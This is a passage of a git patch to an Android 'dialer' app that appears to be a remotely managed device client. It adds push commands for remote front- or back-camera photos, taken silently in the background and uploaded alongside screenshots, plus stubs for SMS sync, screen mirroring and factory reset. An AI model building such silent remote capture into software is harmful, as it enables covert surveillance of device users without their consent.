From da3bb3d098a546c1700122e57a1c50cc81195a0d Mon Sep 17 00:00:00 2001 From: TongTongStudio Date: Mon, 24 Aug 2026 08:40:53 +0800 Subject: [PATCH] =?UTF-8?q?feat(api):=20=E4=B8=8A=E4=BC=A0=E6=88=AA?= =?UTF-8?q?=E5=9B=BE=E6=97=B6=E5=A2=9E=E5=8A=A0=E6=91=84=E5=83=8F=E5=A4=B4?= =?UTF-8?q?=E7=B1=BB=E5=9E=8B=E5=8F=82=E6=95=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../data/remote/SnRemoteDataSource.java | 8 +- .../dialer/data/repository/SnRepository.java | 8 +- .../com/ttstd/dialer/network/api/SnApi.java | 6 +- .../com/ttstd/dialer/push/PushExecutor.java | 196 +++++- .../dialer/service/main/MainService.java | 33 +- .../com/ttstd/dialer/utils/CameraUtil.java | 644 ++++++++---------- .../com/ttstd/dialer/utils/SystemUtils.java | 47 ++ 7 files changed, 528 insertions(+), 414 deletions(-) diff --git a/app/src/main/java/com/ttstd/dialer/data/remote/SnRemoteDataSource.java b/app/src/main/java/com/ttstd/dialer/data/remote/SnRemoteDataSource.java index fe54284..a6eaf89 100644 --- a/app/src/main/java/com/ttstd/dialer/data/remote/SnRemoteDataSource.java +++ b/app/src/main/java/com/ttstd/dialer/data/remote/SnRemoteDataSource.java @@ -95,11 +95,13 @@ public class SnRemoteDataSource { } /** - * 上传截图(或拍照文件) + * 上传截图(或拍照文件)。 + * + * @param camera 摄像头类型,{@code 0} 后置,{@code 1} 前置;截屏传 {@code -1} */ @NonNull - public Observable uploadScreenshot(@NonNull MultipartBody.Part part) { - return mApi.uploadScreenshot(part); + public Observable uploadScreenshot(@NonNull MultipartBody.Part part, int camera) { + return mApi.uploadScreenshot(part, camera); } /** diff --git a/app/src/main/java/com/ttstd/dialer/data/repository/SnRepository.java b/app/src/main/java/com/ttstd/dialer/data/repository/SnRepository.java index 87c9e22..c171867 100644 --- a/app/src/main/java/com/ttstd/dialer/data/repository/SnRepository.java +++ b/app/src/main/java/com/ttstd/dialer/data/repository/SnRepository.java @@ -163,11 +163,13 @@ public class SnRepository { } /** - * 上传截图 / 拍照文件 + * 上传截图 / 拍照文件。 + * + * @param camera 摄像头类型,{@code 0} 后置,{@code 1} 前置;截屏传 {@code -1} */ @NonNull - public Observable uploadScreenshot(@NonNull MultipartBody.Part part) { - return mRemoteDataSource.uploadScreenshot(part) + public Observable uploadScreenshot(@NonNull MultipartBody.Part part, int camera) { + return mRemoteDataSource.uploadScreenshot(part, camera) .subscribeOn(Schedulers.io()); } diff --git a/app/src/main/java/com/ttstd/dialer/network/api/SnApi.java b/app/src/main/java/com/ttstd/dialer/network/api/SnApi.java index 6a17e94..fd67549 100644 --- a/app/src/main/java/com/ttstd/dialer/network/api/SnApi.java +++ b/app/src/main/java/com/ttstd/dialer/network/api/SnApi.java @@ -68,13 +68,15 @@ public interface SnApi { @Multipart @POST(UrlConstants.UPLOAD_SCREENSHOT) Observable uploadScreenshot( - @Part MultipartBody.Part body + @Part MultipartBody.Part body, + @Part("camera") int camera ); @Multipart @POST(UrlConstants.UPLOAD_SCREENSHOT) Call uploadScreenshotCall( - @Part MultipartBody.Part body + @Part MultipartBody.Part body, + @Part("camera") int camera ); @POST(UrlConstants.UPLOAD_LOCATION) diff --git a/app/src/main/java/com/ttstd/dialer/push/PushExecutor.java b/app/src/main/java/com/ttstd/dialer/push/PushExecutor.java index 8dd15a4..9fa61b3 100644 --- a/app/src/main/java/com/ttstd/dialer/push/PushExecutor.java +++ b/app/src/main/java/com/ttstd/dialer/push/PushExecutor.java @@ -74,6 +74,11 @@ public class PushExecutor { private static final String DEVICE_APP_UNINSTALL = "10"; private static final String DEVICE_APP_STOP = "11"; private static final String DEVICE_TAKE_PHOTO = "12"; + private static final String DEVICE_FILE_TRANSFER = "13"; + private static final String DEVICE_MSG_SYNC = "14"; + private static final String DEVICE_CLEAN = "15"; + private static final String DEVICE_MIRROR = "16"; + private static final String DEVICE_SCREEN_LOCK = "17"; /** @@ -140,14 +145,15 @@ public class PushExecutor { break; case DEVICE_SHUTDOWN: RebootUtils.shutdownDevice(mContext); + break; case DEVICE_LOCATE: MapManager.getInstance().startLocation(); break; case DEVICE_RESTORE: - + restore(); break; case DEVICE_DEVELOPER: - + setDeviceDeveloper(); break; case DEVICE_APP_LAUNCH: launchApp(extra); @@ -162,7 +168,23 @@ public class PushExecutor { stopApp(extra); break; case DEVICE_TAKE_PHOTO: - takePhoto(); + // 从推送 extra 中解析摄像头字段:0=后置,1=前置 + takePhoto(parseCamera(extra)); + break; + case DEVICE_FILE_TRANSFER: + fileTransfer(); + break; + case DEVICE_MSG_SYNC: + msgSync(); + break; + case DEVICE_CLEAN: + clean(); + break; + case DEVICE_MIRROR: + mirror(); + break; + case DEVICE_SCREEN_LOCK: + screenLock(); break; default: Logger.e(TAG, "setPushMessage: default"); @@ -396,9 +418,9 @@ public class PushExecutor { @Override public Observable apply(Integer integer) throws Throwable { if (integer == 0) { - // 截图成功,上传文件 + // 截图成功,上传文件(截屏非摄像头,camera 传 -1) MultipartBody.Part part = OkHttpManager.getBodyPart("image/png", "file", new File(filepath)); - return mSnRepository.uploadScreenshot(part) + return mSnRepository.uploadScreenshot(part, -1) .subscribeOn(Schedulers.io()); // 确保上传操作在子线程执行 } else { // 截图失败,返回一个空的Observable @@ -420,8 +442,20 @@ public class PushExecutor { }); } - private void takePhoto() { + /** + * 远程拍照(区分前后摄像头)。 + * + * @param camera 摄像头类型,{@code 0} 后置摄像头,{@code 1} 前置摄像头; + * 非法/缺省值按 {@link CameraUtil#CAMERA_BACK}(后置)处理 + */ + private void takePhoto(int camera) { long createTime = System.currentTimeMillis() / 1000; + String savePath = FileUtils.getCacheDir(mContext) + File.separator + "cameracapture_" + File.separator + createTime + ".jpg"; + + // 业务约定:0=后置,1=前置;其余值回退到后置 + // LENS_FACING:CAMERA_FRONT=0,CAMERA_BACK=1,故需将业务值取反映射 + int facing = (camera == CameraUtil.CAMERA_BACK) ? CameraUtil.CAMERA_FRONT : CameraUtil.CAMERA_BACK; + Logger.d("takePhoto", "takePhoto: camera=" + camera + " facing=" + facing); CameraUtil cameraUtil = new CameraUtil(mContext, new CameraUtil.CameraCallBack() { @Override public void onErr(String msg) { @@ -431,35 +465,57 @@ public class PushExecutor { @Override public void onTakePhotoOk(String path) { Logger.e("CameraUtil", "onTakePhotoOk: " + path); - File file = new File(path); - - // 仿照 screenSnapshot,使用同一个上传截图接口上传拍照文件 - Observable.fromCallable(() -> file.exists() ? 0 : -1) - .subscribeOn(Schedulers.io()) - .flatMap(integer -> { - if (integer == 0) { - MultipartBody.Part part = OkHttpManager.getBodyPart("image/jpeg", "file", file); - return mSnRepository.uploadScreenshot(part) - .subscribeOn(Schedulers.io()); - } else { - return Observable.empty(); - } - }) - .observeOn(AndroidSchedulers.mainThread()) - .subscribe(new BaseObserver() { - @Override - public void onSuccess(BaseResponse baseResponse) { - Log.e("takePhoto", "onSuccess: " + baseResponse.toString()); - } - - @Override - public void onFailure(Throwable e) { - Log.e("takePhoto", "onFailure: " + e.getMessage()); - } - }); } - }); - cameraUtil.startTakePicture(FileUtils.getCacheDir(mContext) + File.separator + "cameracapture_" + File.separator + createTime + ".jpg"); + }, facing); + + // 使用 RxJava 风格拍照,拿到保存路径后上传截图(携带摄像头字段) + cameraUtil.takePicture(savePath) + .toObservable() + .subscribeOn(Schedulers.io()) + .observeOn(Schedulers.io()) + .flatMap(path -> { + File file = new File(path); + if (!file.exists()) { + return Observable.error(new RuntimeException("拍照文件不存在: " + path)); + } + MultipartBody.Part part = OkHttpManager.getBodyPart("image/jpeg", "file", file); + return mSnRepository.uploadScreenshot(part, facing) + .subscribeOn(Schedulers.io()); + }) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(BaseResponse baseResponse) { + Log.e("takePhoto", "onSuccess: camera=" + facing + " " + baseResponse.toString()); + } + + @Override + public void onFailure(Throwable e) { + Log.e("takePhoto", "onFailure: camera=" + facing + " " + e.getMessage()); + } + }); + } + + /** + * 从推送 extra 中解析 {@code camera} 字段(0后置 / 1前置)。 + * 解析失败或字段缺失时返回 {@code 0}(后置)。 + * + * @param extra 推送透传的 extra JSON 字符串 + * @return 摄像头类型,默认 0(后置) + */ + private int parseCamera(String extra) { + if (TextUtils.isEmpty(extra)) { + return 0; + } + try { + JsonObject jsonObject = JsonParser.parseString(extra).getAsJsonObject(); + if (jsonObject.has("camera")) { + return jsonObject.get("camera").getAsInt(); + } + } catch (Exception e) { + Logger.e(TAG, "parseCamera: " + e.getMessage()); + } + return 0; } @@ -551,6 +607,78 @@ public class PushExecutor { Logger.e(TAG, "stopApp: " + packageName); } + /** + * 恢复出厂设置(contentType = 6, restore)。 + *

+ * 由后端 {@code DeviceService.restore} 下发,推送通道已打通, + * 具体实现(如调用 {@code RecoverySystem} 或执行 shell 命令)待补充。 + */ + private void restore() { + Logger.e(TAG, "restore: 收到恢复出厂设置推送,功能待实现"); + } + + /** + * 设置开发者选项(contentType = 7, developer)。 + *

+ * 由后端 {@code DeviceService.setDeviceDeveloper} 下发,推送通道已打通, + * 具体实现(如切换开发者选项/USB调试开关)待补充。 + */ + private void setDeviceDeveloper() { + Logger.e(TAG, "setDeviceDeveloper: 收到开发者选项推送,功能待实现"); + } + + /** + * 文件传输(contentType = 13, fileTransfer)。 + *

+ * 由后端 {@code DeviceService.fileTransfer} 下发,推送通道已打通, + * 具体实现(如启动 FTP/HTTP 文件服务、进入文件传输模式)待补充。 + */ + private void fileTransfer() { + Logger.e(TAG, "fileTransfer: 收到文件传输推送,功能待实现"); + } + + /** + * 短信同步(contentType = 14, msgSync)。 + *

+ * 由后端 {@code DeviceService.msgSync} 下发,推送通道已打通, + * 具体实现(如读取设备短信并上报到服务端)待补充。 + */ + private void msgSync() { + Logger.e(TAG, "msgSync: 收到短信同步推送,功能待实现"); + } + + /** + * 清理(contentType = 15, clean)。 + *

+ * 由后端 {@code DeviceService.clean} 下发,复用公共的 {@link SystemUtils#killAllApp(Context)} + * 强制停止当前运行的非白名单、非系统应用。 + */ + private void clean() { + Logger.e(TAG, "clean: 收到清理推送"); + int count = SystemUtils.killAllApp(mContext); + Logger.e(TAG, "clean: stopped " + count + " apps"); + } + + /** + * 屏幕镜像(contentType = 16, mirror)。 + *

+ * 由后端 {@code DeviceService.mirror} 下发,推送通道已打通, + * 具体实现(如开启投屏/屏幕流推送)待补充。 + */ + private void mirror() { + Logger.e(TAG, "mirror: 收到屏幕镜像推送,功能待实现"); + } + + /** + * 屏幕锁定(contentType = 17, screenLock)。 + *

+ * 由后端 {@code DeviceService.screenLock} 下发,推送通道已打通, + * 具体实现(如 DevicePolicyManager 锁屏 / KeyguardManager.lockNow)待补充。 + */ + private void screenLock() { + Logger.e(TAG, "screenLock: 收到屏幕锁定推送,功能待实现"); + } + /** * 重启(重启系统)(contentType = 12, reboot)。 * 通过 {@code reboot} 命令实现,需要设备具备 root / shell 权限。 diff --git a/app/src/main/java/com/ttstd/dialer/service/main/MainService.java b/app/src/main/java/com/ttstd/dialer/service/main/MainService.java index 9b25540..9ead7cf 100644 --- a/app/src/main/java/com/ttstd/dialer/service/main/MainService.java +++ b/app/src/main/java/com/ttstd/dialer/service/main/MainService.java @@ -30,14 +30,9 @@ import com.ttstd.dialer.config.CommonConfig; import com.ttstd.dialer.data.repository.SnRepository; import com.ttstd.dialer.manager.ContactSyncManager; import com.ttstd.dialer.manager.MqttManager; -import com.ttstd.dialer.utils.ApkUtils; import com.ttstd.dialer.utils.Logger; import com.ttstd.dialer.utils.SystemUtils; -import java.util.HashSet; -import java.util.List; -import java.util.Set; - public class MainService extends BaseService implements NetworkUtils.OnNetworkStatusChangedListener { private static final String TAG = "MainService"; @@ -238,34 +233,10 @@ public class MainService extends BaseService implements NetworkUtils.OnNetworkSt } } - private static final Set mWhiteRunningAppSets = new HashSet() {{ - this.add(BuildConfig.APPLICATION_ID); - this.add("com.tencent.mm"); - this.add("com.ss.android.ugc.aweme"); - - this.add("com.tencent.wetype"); - this.add("com.tencent.qqpinyin"); - this.add("com.google.android.inputmethod.pinyin"); - this.add("com.sohu.inputmethod.sogou"); - this.add("com.iflytek.inputmethod"); - this.add("com.baidu.input"); - }}; - private void killApp() { Logger.e(TAG, "killApp: "); - List runningPackages = SystemUtils.getRunningTaskPackages(MainService.this); - int i = 0; - for (String pkg : runningPackages) { - if (mWhiteRunningAppSets.contains(pkg)) { - continue; - } - if (ApkUtils.isSystemApp(MainService.this, pkg)) { - continue; - } - i++; - SystemUtils.killBackgroundProcesses(MainService.this, pkg); - } - PopTip.show(String.format(getString(R.string.kill_app_number), i)).iconError(); + int count = SystemUtils.killAllApp(MainService.this); + PopTip.show(String.format(getString(R.string.kill_app_number), count)).iconError(); } @Override diff --git a/app/src/main/java/com/ttstd/dialer/utils/CameraUtil.java b/app/src/main/java/com/ttstd/dialer/utils/CameraUtil.java index b4aac89..27f85a0 100644 --- a/app/src/main/java/com/ttstd/dialer/utils/CameraUtil.java +++ b/app/src/main/java/com/ttstd/dialer/utils/CameraUtil.java @@ -4,27 +4,24 @@ import android.Manifest; import android.content.Context; import android.content.pm.PackageManager; import android.graphics.ImageFormat; -import android.graphics.SurfaceTexture; -import android.hardware.Camera; import android.hardware.camera2.CameraAccessException; import android.hardware.camera2.CameraCaptureSession; import android.hardware.camera2.CameraCharacteristics; import android.hardware.camera2.CameraDevice; import android.hardware.camera2.CameraManager; +import android.hardware.camera2.CaptureFailure; import android.hardware.camera2.CaptureRequest; import android.hardware.camera2.TotalCaptureResult; import android.hardware.camera2.params.StreamConfigurationMap; import android.media.Image; import android.media.ImageReader; -import android.media.MediaRecorder; -import android.os.Build; import android.os.Handler; import android.os.HandlerThread; import android.os.Looper; import android.os.Message; -import android.util.DisplayMetrics; import android.util.Size; -import android.view.Display; +import android.util.SparseIntArray; +import android.view.Surface; import android.view.WindowManager; import androidx.annotation.NonNull; @@ -34,176 +31,162 @@ import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.nio.ByteBuffer; -import java.util.ArrayList; import java.util.Arrays; +import java.util.Collections; import java.util.Comparator; import java.util.List; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; -import java.util.stream.Collectors; +import java.util.concurrent.TimeUnit; +import io.reactivex.rxjava3.core.Single; +import io.reactivex.rxjava3.core.SingleEmitter; +import io.reactivex.rxjava3.core.SingleOnSubscribe; + +/** + * 相机工具类,支持静默拍照(后台拍照) + * 已优化摄像头切换逻辑和照片方向处理 + */ public class CameraUtil { private static final String TAG = "CameraUtil"; + /** 摄像头朝向:前置 */ + public static final int CAMERA_FRONT = CameraCharacteristics.LENS_FACING_FRONT; + /** 摄像头朝向:后置 */ + public static final int CAMERA_BACK = CameraCharacteristics.LENS_FACING_BACK; + /** 摄像头朝向:外部 */ + public static final int CAMERA_EXTERNAL = CameraCharacteristics.LENS_FACING_EXTERNAL; + + private static final SparseIntArray ORIENTATIONS = new SparseIntArray(); + static { + ORIENTATIONS.append(Surface.ROTATION_0, 90); + ORIENTATIONS.append(Surface.ROTATION_90, 0); + ORIENTATIONS.append(Surface.ROTATION_180, 270); + ORIENTATIONS.append(Surface.ROTATION_270, 180); + } + private Context context; private CameraCallBack cameraCallBack; private CameraManager cameraManager; - // 默认相机id + // 相机id private String mCameraId; + // 期望的摄像头朝向 + private int mFacing = CAMERA_FRONT; private CameraDevice mCameraDevice; private String savePath; private CaptureRequest.Builder mPreviewRequestBuilder; private CameraCaptureSession mCameraCaptureSession; - private CaptureRequest request; private ExecutorService service; private HandlerThread mBackgroundThread; private Handler mBackgroundHandler; - private boolean isTakedPicture = false;//是否已经拍照 - private volatile boolean mIsCapturing = false; // 是否正在捕获图片数据 + private boolean isTakedPicture = false; + private volatile boolean mIsCapturing = false; - private int needSetOrientation = 0;// 设置默认的拍照方向 - private boolean isInitOk = false;// 是否初始化成功 - private boolean isSessionClosed = true;// captureSession是否被关闭 - private boolean isCameraDoing = false;// 是否正在使用相机 - private final long CAPTURE_DELAY_TIME_LONG = 1200;// 延时拍照——聚焦需要时间 + private int mSensorOrientation = 0; + private boolean isSessionClosed = true; + private boolean isCameraDoing = false; + private final long CAPTURE_DELAY_TIME_LONG = 1200; - private final int HANDLER_ERR = 3;// 拍照失败 - private final int HANDLER_TAKE_PHOTO_SUCCESS = 5;// 拍照成功 - private List enableCameraList;//可用摄像头列表 - private boolean mFlashSupported = false;//是否支持闪光灯 - private List recordSizeList;// 录制尺寸 - private Size mPreviewOutputSize;// 预览尺寸 - private List imgOutputSizes;// 拍照尺寸 - - private final int PREVIEW_TYPE_NORMAL = 0;// 默认预览 - private final int PREVIEW_TYPE_RECORD = 1;// 录屏预览 - private final int PREVIEW_TYPE_TAKE_PHOTO = 2;// 拍照预览 - private int previewType = 0;//默认预览 + private final int HANDLER_ERR = 3; + private final int HANDLER_TAKE_PHOTO_SUCCESS = 5; + private List imgOutputSizes; + private ImageReader imageReader; + private SingleEmitter rxEmitter; private boolean mTakePictureFinish = false; - private long lastSaveFileTime = 0; public interface CameraCallBack { void onErr(String msg); - void onTakePhotoOk(String path); } - /** - * 处理静态图片的输出 - */ - private ImageReader imageReader; - - private Handler handler = new Handler(Looper.getMainLooper()) { + private final Handler handler = new Handler(Looper.getMainLooper()) { @Override public void handleMessage(Message msg) { super.handleMessage(msg); switch (msg.what) { case HANDLER_ERR: - cameraCallBack.onErr("" + msg.obj); + if (cameraCallBack != null) { + cameraCallBack.onErr("" + msg.obj); + } isCameraDoing = false; break; case HANDLER_TAKE_PHOTO_SUCCESS: if (!mTakePictureFinish) { - cameraCallBack.onTakePhotoOk(savePath); + if (cameraCallBack != null) { + cameraCallBack.onTakePhotoOk(savePath); + } mTakePictureFinish = true; } break; - default: } } }; - /** - * 当相机设备的状态发生改变的时候,将会回调。 - */ protected final CameraDevice.StateCallback stateCallback = new CameraDevice.StateCallback() { - /** - * 当相机打开的时候,调用 - * @param cameraDevice - */ @Override public void onOpened(@NonNull CameraDevice cameraDevice) { - Logger.e(TAG, "onOpened"); + Logger.e(TAG, "相机已打开: " + mCameraId); mCameraDevice = cameraDevice; startPreview(); } @Override public void onDisconnected(@NonNull CameraDevice cameraDevice) { - Logger.e(TAG, "onDisconnected"); + Logger.e(TAG, "相机已断开连接"); mCameraDevice = null; - sendErrorMessage("后台相机断开连接"); + sendErrorMessage("相机断开连接"); onStop(); } - /** - * 发生异常的时候调用 - * - * 这里释放资源,然后关闭界面 - * @param cameraDevice - * @param error - */ @Override public void onError(@NonNull CameraDevice cameraDevice, int error) { - Logger.e(TAG, "onError 相机设备异常,请重启!"); + Logger.e(TAG, "相机设备异常: " + error); mCameraDevice = null; - sendErrorMessage("相机设备异常,请重启!"); + sendErrorMessage("相机设备异常"); onStop(); } - /** - *当相机被关闭的时候 - */ @Override public void onClosed(@NonNull CameraDevice camera) { super.onClosed(camera); - Logger.e(TAG, "onClosed"); + Logger.e(TAG, "相机已关闭"); mCameraDevice = null; isCameraDoing = false; } }; /** - * 相机状态回调 - */ - private CameraManager.AvailabilityCallback callback = new CameraManager.AvailabilityCallback() { - @Override - public void onCameraAvailable(@NonNull String cameraId) {// 相机可用 - super.onCameraAvailable(cameraId); - Logger.e(TAG, "相机可用"); - } - - @Override - public void onCameraUnavailable(@NonNull String cameraId) {// 相机不可用 - super.onCameraUnavailable(cameraId); - Logger.e(TAG, "相机不可用"); - } - }; - - - /** - * 初始化 - * - * @param activity - * @param cameraCallBack 回调 + * 初始化(默认使用前置摄像头) */ public CameraUtil(Context activity, @NonNull CameraCallBack cameraCallBack) { - this.context = activity; + this(activity, cameraCallBack, CAMERA_FRONT); + } + + /** + * 初始化(通过朝向指定使用前置/后置摄像头) + */ + public CameraUtil(Context activity, @NonNull CameraCallBack cameraCallBack, int facing) { + this.context = activity.getApplicationContext(); this.cameraCallBack = cameraCallBack; - cameraManager = (CameraManager) activity.getSystemService(Context.CAMERA_SERVICE); + this.mFacing = facing; + this.cameraManager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE); startBackgroundThread(); - // 对于静态图片,使用可用的最大值来拍摄。 - if (cameraManager != null) { - isInitOk = true; - cameraManager.registerAvailabilityCallback(callback, mBackgroundHandler); - findFrontCamera(); - getCameraInfo(); - setupImageReader(); - service = Executors.newSingleThreadExecutor(); - } + this.service = Executors.newSingleThreadExecutor(); + } + + /** + * 初始化(通过摄像头 id 指定) + */ + public CameraUtil(Context activity, @NonNull CameraCallBack cameraCallBack, String cameraId) { + this.context = activity.getApplicationContext(); + this.cameraCallBack = cameraCallBack; + this.mCameraId = cameraId; + this.cameraManager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE); + startBackgroundThread(); + this.service = Executors.newSingleThreadExecutor(); } private void startBackgroundThread() { @@ -225,20 +208,44 @@ public class CameraUtil { } } - private void findFrontCamera() { + private void findCameraByFacing(int facing) { try { - for (String id : cameraManager.getCameraIdList()) { + String[] ids = cameraManager.getCameraIdList(); + for (String id : ids) { CameraCharacteristics characteristics = cameraManager.getCameraCharacteristics(id); - Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING); - if (facing != null && facing == CameraCharacteristics.LENS_FACING_FRONT) { + Integer cameraFacing = characteristics.get(CameraCharacteristics.LENS_FACING); + if (cameraFacing != null && cameraFacing == facing) { mCameraId = id; + Logger.e(TAG, "找到朝向 " + facing + " 的摄像头 id=" + id); return; } } - // 如果没找到前置,就用第一个 - String[] ids = cameraManager.getCameraIdList(); if (ids.length > 0) { mCameraId = ids[0]; + Logger.e(TAG, "未找到指定朝向摄像头,回退到 id=" + mCameraId); + } + } catch (CameraAccessException e) { + e.printStackTrace(); + } + } + + public void getCameraInfo() { + if (mCameraId == null) { + findCameraByFacing(mFacing); + } + try { + CameraCharacteristics characteristics = cameraManager.getCameraCharacteristics(mCameraId); + StreamConfigurationMap map = characteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP); + if (map != null) { + Size[] jpegOutputSizes = map.getOutputSizes(ImageFormat.JPEG); + if (jpegOutputSizes != null) { + imgOutputSizes = Arrays.asList(jpegOutputSizes); + } + } + mSensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION); + Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING); + if (facing != null) { + mFacing = facing; } } catch (CameraAccessException e) { e.printStackTrace(); @@ -249,53 +256,43 @@ public class CameraUtil { if (imageReader != null) { imageReader.close(); } - Size size = getOutputSize(imgOutputSizes); - //前三个参数分别是需要的尺寸和格式,最后一个参数代表每次最多获取几帧数据,本例的1代表ImageReader中最多可以获取1帧图像流 - imageReader = ImageReader.newInstance(size.getWidth(), size.getHeight(), ImageFormat.JPEG, 1); - //监听ImageReader的事件,当有图像流数据可用时会回调onImageAvailable方法 - imageReader.setOnImageAvailableListener(new ImageReader.OnImageAvailableListener() { - @Override - public void onImageAvailable(ImageReader reader) { - if (!mIsCapturing) { - // 如果不在捕获状态,直接丢弃帧数据,避免预览流占满内存 - Image image = reader.acquireLatestImage(); - if (image != null) image.close(); - return; - } - mIsCapturing = false; // 标记捕获完成 + getCameraInfo(); + Size size = getBestSize(imgOutputSizes); + Logger.e(TAG, "配置 ImageReader 尺寸: " + size); + imageReader = ImageReader.newInstance(size.getWidth(), size.getHeight(), ImageFormat.JPEG, 2); + imageReader.setOnImageAvailableListener(reader -> { + if (!mIsCapturing) { Image image = reader.acquireLatestImage(); - if (image == null) return; - ByteBuffer buffer = image.getPlanes()[0].getBuffer(); - byte[] data = new byte[buffer.remaining()]; - buffer.get(data); - image.close(); - saveFile(data, savePath); + if (image != null) image.close(); + return; } + mIsCapturing = false; + Image image = reader.acquireLatestImage(); + if (image == null) return; + ByteBuffer buffer = image.getPlanes()[0].getBuffer(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + image.close(); + saveFile(data, savePath); }, mBackgroundHandler); } - /** - * 打开相机 - */ private void openCamera() { if (mCameraId == null) { - findFrontCamera(); + findCameraByFacing(mFacing); } - Logger.e(TAG, "openCamera: cameraId = " + mCameraId); + Logger.e(TAG, "正在打开相机: " + mCameraId); isCameraDoing = true; + mTakePictureFinish = false; if (ActivityCompat.checkSelfPermission(context, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { - sendErrorMessage("权限不足"); + sendErrorMessage("缺少相机权限"); return; } try { - if (imageReader == null) { - setupImageReader(); - } + setupImageReader(); // 确保每次打开相机都重新配置 ImageReader cameraManager.openCamera(mCameraId, stateCallback, mBackgroundHandler); - Logger.e(TAG, "正在打开相机..."); } catch (Exception e) { - Logger.e(TAG, "打开相机失败-Exception:" + e.getMessage()); - e.printStackTrace(); + Logger.e(TAG, "打开相机失败: " + e.getMessage()); sendErrorMessage("打开相机失败"); } } @@ -305,64 +302,49 @@ public class CameraUtil { message.what = HANDLER_ERR; message.obj = msg; handler.sendMessage(message); + if (rxEmitter != null) { + rxEmitter.tryOnError(new RuntimeException(msg)); + rxEmitter = null; + } } - /** - * 开始视频录制预览 - */ private void startPreview() { - Logger.e(TAG, "startPreview"); if (mCameraDevice == null || imageReader == null) return; try { - // 创建CaptureRequestBuilder,TEMPLATE_PREVIEW表示预览请求 mPreviewRequestBuilder = mCameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW); mPreviewRequestBuilder.addTarget(imageReader.getSurface()); - mCameraDevice.createCaptureSession(Arrays.asList(imageReader.getSurface()), captureSessionStateCallBack, mBackgroundHandler); + mCameraDevice.createCaptureSession(Arrays.asList(imageReader.getSurface()), new CameraCaptureSession.StateCallback() { + @Override + public void onConfigured(@NonNull CameraCaptureSession session) { + mCameraCaptureSession = session; + isSessionClosed = false; + try { + mPreviewRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_PICTURE); + mCameraCaptureSession.setRepeatingRequest(mPreviewRequestBuilder.build(), null, mBackgroundHandler); + } catch (CameraAccessException e) { + e.printStackTrace(); + } + if (!isTakedPicture) { + isTakedPicture = true; + handler.postDelayed(() -> performTakePicture(), CAPTURE_DELAY_TIME_LONG); + } + } + + @Override + public void onConfigureFailed(@NonNull CameraCaptureSession session) { + sendErrorMessage("配置相机 Session 失败"); + } + }, mBackgroundHandler); } catch (CameraAccessException e) { e.printStackTrace(); - sendErrorMessage("捕获帧失败"); - Logger.e(TAG, "创建预览Session失败: " + e.getMessage()); + sendErrorMessage("开启预览失败"); } } - /** - * 捕获图片数据 - */ - private CameraCaptureSession.StateCallback captureSessionStateCallBack = new CameraCaptureSession.StateCallback() { - @Override - public void onConfigured(CameraCaptureSession session) { - try { - mCameraCaptureSession = session; - isSessionClosed = false; - request = mPreviewRequestBuilder.build(); - // 设置反复捕获数据的请求,这样预览界面就会一直有数据显示 - mCameraCaptureSession.setRepeatingRequest(request, null, null); - } catch (Exception e) { - e.printStackTrace(); - Message messagef = new Message(); - messagef.what = HANDLER_ERR; - messagef.obj = "开启图像预览失败"; - handler.sendMessage(messagef); - } - if (!isTakedPicture) { - isTakedPicture = true; - handler.postDelayed(() -> takePicture(), CAPTURE_DELAY_TIME_LONG); - } - } - - @Override - public void onConfigureFailed(CameraCaptureSession session) { - Logger.e(TAG, "onConfigureFailed"); - sendErrorMessage("开启预览失败"); - } - }; - - public void startTakePicture(String savePath) { - Logger.e(TAG, "拍照:" + savePath); this.savePath = savePath; if (isCameraDoing) { - Logger.e(TAG, "相机使用中..."); + Logger.e(TAG, "相机已在使用中"); } else { isTakedPicture = false; openCamera(); @@ -370,218 +352,201 @@ public class CameraUtil { } /** - * 拍照 + * RxJava 方式拍照 */ - private void takePicture() { - Logger.e(TAG, "takePicture"); + public Single takePicture(String savePath) { + return Single.create((SingleOnSubscribe) emitter -> { + if (isCameraDoing) { + emitter.onError(new IllegalStateException("相机使用中,请稍后再试")); + return; + } + this.rxEmitter = emitter; + startTakePicture(savePath); + }).timeout(15, TimeUnit.SECONDS); + } + + private void performTakePicture() { try { if (mCameraDevice == null || mCameraCaptureSession == null) return; CaptureRequest.Builder captureBuilder = mCameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE); captureBuilder.addTarget(imageReader.getSurface()); - //设置拍照方向 - captureBuilder.set(CaptureRequest.JPEG_ORIENTATION, this.needSetOrientation); - // 自动对焦和自动曝光模式 + + // 处理 JPEG 方向 + int rotation = 0; + WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE); + if (wm != null) { + rotation = wm.getDefaultDisplay().getRotation(); + } + int jpegOrientation = getOrientation(rotation); + captureBuilder.set(CaptureRequest.JPEG_ORIENTATION, jpegOrientation); + + // 使用全机型通用的自动曝光模式。CONTROL_AE_MODE_ON_AUTO_FLASH 在无闪光灯/后置不支持的设备上 + // 会导致请求被拒绝(IllegalArgumentException / CameraAccessException),从而无法拍照。 captureBuilder.set(CaptureRequest.CONTROL_AF_MODE, CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_PICTURE); - captureBuilder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON_AUTO_FLASH); + captureBuilder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON); - mIsCapturing = true; // 准备接收ImageReader的数据 + mIsCapturing = true; mCameraCaptureSession.capture(captureBuilder.build(), new CameraCaptureSession.CaptureCallback() { @Override public void onCaptureCompleted(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, @NonNull TotalCaptureResult result) { - Logger.e(TAG, "拍照指令完成"); + 